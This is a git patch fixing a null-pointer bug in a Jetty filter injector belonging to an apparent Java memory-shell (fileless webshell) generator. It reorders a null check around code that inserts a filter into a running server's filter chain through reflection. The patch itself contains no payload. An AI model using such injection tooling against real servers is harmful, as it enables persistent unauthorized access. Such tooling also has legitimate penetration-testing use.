From 0279d6cc0b6e8d7470f632513fdcad3f9c7332c3 Mon Sep 17 00:00:00 2001
From: ReaJason <reajason1225@gmail.com>
Date: Sat, 17 Jan 2026 18:10:49 +0800
Subject: [PATCH] fix: NPE

---
 .../javaweb/memshell/injector/jetty/JettyFilterInjector.java  | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java
index b8186b16..569168ac 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java
@@ -121,10 +121,10 @@ public class JettyFilterInjector {
 
         Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
         Object[] newMappings = null;
-        int length = Array.getLength(mappings);
-        if (mappings == null || length == 0) {
+        if (mappings == null || Array.getLength(mappings) == 0) {
             newMappings = (Object[]) Array.newInstance(filterMappingClass, 1);
         } else {
+            int length = Array.getLength(mappings);
             newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1);
             System.arraycopy(mappings, 0, newMappings, 1, length);
         }